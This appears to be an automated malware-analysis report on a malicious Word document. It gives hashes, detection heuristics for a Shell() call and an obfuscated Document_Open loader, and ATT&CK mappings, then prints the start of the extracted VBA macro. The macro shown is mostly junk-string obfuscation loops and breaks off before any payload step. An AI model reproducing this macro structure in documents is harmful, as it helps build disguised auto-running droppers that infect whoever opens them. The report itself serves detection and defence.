Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 114eb4b260fe359e…

MALICIOUS

Office (OLE)

153.0 KB Created: 2018-03-26 18:20:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 0dfa13565ee2b559818f1197ed687b3b SHA-1: b384e97aea98d6e947865e496caeb2189ccb014e SHA-256: 114eb4b260fe359ec1addde9c32e864646124d6fbed7d542035a0420be28fd00
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic indicating the use of the Shell() function, and a critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER heuristic suggesting an obfuscated auto-exec loader. The Document_Open macro is present and configured to execute code, likely to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25263 bytes
SHA-256: 0b1828eedc847d8dfc4720cbdf63fb6b4a06948b9818e49a185456d6c52c7624
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
juhBgU = StrReverse("TCquQnhMcixUgk")
SfbQlT = "IRzCdWUQXFEk"
MTidmTs = Replace("xJxeRZGhlqBkd", "xJx", "jYsA")
    For PiTST = 0 To 361
        cADR = Replace("QCzYfLVtPbrUjcfMx", "QCz", "UsGbDW")
        cADR = StrReverse("vwpiXkUSGdfXL")
        cADR = Replace("iCfDFFJQtCAR", "iCfD", "nJxt")
        cADR = "XQrXjGjZ"
        cADR = "mAEbFpDcH"
        cADR = StrReverse("ussDWmkyDjlSXqB")
        cADR = StrReverse("kLerzOedtIBE")
        cADR = Replace("nTMiABZrXbz", "nTM", "lDsMHPB")
        cADR = Replace("vVDhBwcsjKisESyh", "vVDh", "juBHr")
        cADR = Replace("EnEBwlQfrOgwVWkAJO", "EnEB", "OMnrBwI")
        cADR = StrReverse("xfWReMOZJyhYZf")
        cADR = StrReverse("zIucqPLoiIYxi")
        cADR = "hHSMlwVatt"
        cADR = "BrlFoD"
        cADR = "uwJULrKOP"
        cADR = Replace("kxReDIjEKLDAw", "kxR", "WWDZvA")
        cADR = Replace("skxfgQCIFCDuRXFC", "skxf", "DYWkDf")
        cADR = Replace("QxpFBQqxqrr", "Qxp", "pOHK")
        cADR = Replace("jFxTxnmpeBHgmMof", "jFx", "rEMeJ")
        cADR = StrReverse("ltgcRDZdJBq")
        cADR = Replace("lqRpJFYYPZFDmDdHo", "lqRp", "Iqtpl")
        cADR = "vxcDHfPweq"
        cADR = StrReverse("PEOdJgTcskwBaznY")
        cADR = "jPJTOy"
        cADR = StrReverse("eaTuKkJtbMKsf")
    Next PiTST
buICYJK = "hrJYfzam"
    For FOdqv = 0 To 88
        VabX = "avtHoBTIpknK"
        VabX = Replace("wKuiezFGxSIPeRP", "wKui", "PizkD")
        VabX = StrReverse("xwuToIkepsyKZ")
        VabX = StrReverse("FIZIkySvJTTARdGy")
        VabX = Replace("vslpBkjzKVF", "vslp", "Qwqpo")
        VabX = Replace("BcCLzRidyg", "BcC", "zpSXaje")
        VabX = StrReverse("cSIUerVQyPOqHAXlGb")
        VabX = StrReverse("MimoSpfgLaCKkQUb")
        VabX = "oAIuzetATRsP"
        VabX = Replace("WtSXeDfOeSRZnbcrH", "WtS", "OMEVHP")
        VabX = StrReverse("GPxoDOwwBEUMsJgy")
        VabX = StrReverse("vyboaJAeVvKyHZFJ")
        VabX = Replace("zZkIiMADdfmjICdiSK", "zZk", "FMrT")
        VabX = Replace("LBRuZBhgasgyuPTSeMg", "LBR", "qredBmU")
        VabX = StrReverse("ZgRaKkenZtk")
        VabX = Replace("BigaMrCYqPYV", "Biga", "htzPM")
        VabX = StrReverse("IeVPseKRvX")
        VabX = "iTqFvCRYvLK"
        VabX = Replace("HaSZlqareX", "HaSZ", "TrfSg")
        VabX = Replace("LOiKfKRoWRaxEio", "LOi", "FEEjecK")
        VabX = Replace("HdjHbrvPSRO", "HdjH", "GMlqXcj")
        VabX = StrReverse("PfgjJxdOnPJuXmqCzU")
        VabX = StrReverse("esyXfTHXDnMJoVwE")
        VabX = StrReverse("FWVeVHkSvzHYvcR")
        VabX = Replace("MhXZGOdShTiph", "MhXZ", "ZkOz")
    Next FOdqv
    For AjyQW = 0 To 140
        zbgG = Replace("IvtVVaQrCzzcLxYI", "Ivt", "mbkR")
        zbgG = Replace("aDXAeBRQgSWPL", "aDX", "QuQZH")
        zbgG = StrReverse("zuXUmklBVLDzx")
        zbgG = Replace("wVWVlWOWEQRRif", "wVW", "DvVfd")
        zbgG = "zDBPhuTQOvnJ"
        zbgG = Replace("TGfCkuXlyLMnwtWo", "TGf", "Blxgdto")
        zbgG = StrReverse("sjWrJpxAwH")
        zbgG = Replace("vDUsnzohcKO", "vDU", "eJbIicw")
        zbgG = Replace("AknSYRByLQgSyWke", "AknS", "MsZMP")
        zbgG = "qbXZcv"
        zbgG = "pJybkqAYplmZc"
        zbgG = StrReverse("LjMRzGVEZYdbQBpGLj")
        zbgG = "wDFlGb"
        zbgG = "ILnMLKIOHil"
        zbgG = StrReverse("mpjbVxzSyBA")
        zbgG = Replace("dblzvFEtWJyZye", "dblz", "Ppkk")
        zbgG = StrReverse("ZQGAjyDMtHf")
        zbgG = StrReverse("lJadpbZDJaoziXkGM")
        zbgG = "ZvEShn"
        zbgG = StrReverse("oDHBsxrxrVYrE")
        zbgG = Replace("gIyuOTpEZKLvBgyMUqT", "gIyu", "beDX")
        zbgG = StrReverse("DdCimfPgVyRvcVdpYO")
        zbgG = StrReverse("vUJURMQGwb")
        zbgG = StrReverse("nGZMmpOHlZQUDwlHDQ")
        zbgG = StrReverse("xJeDgCuDaasopmiQ")
    Next
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.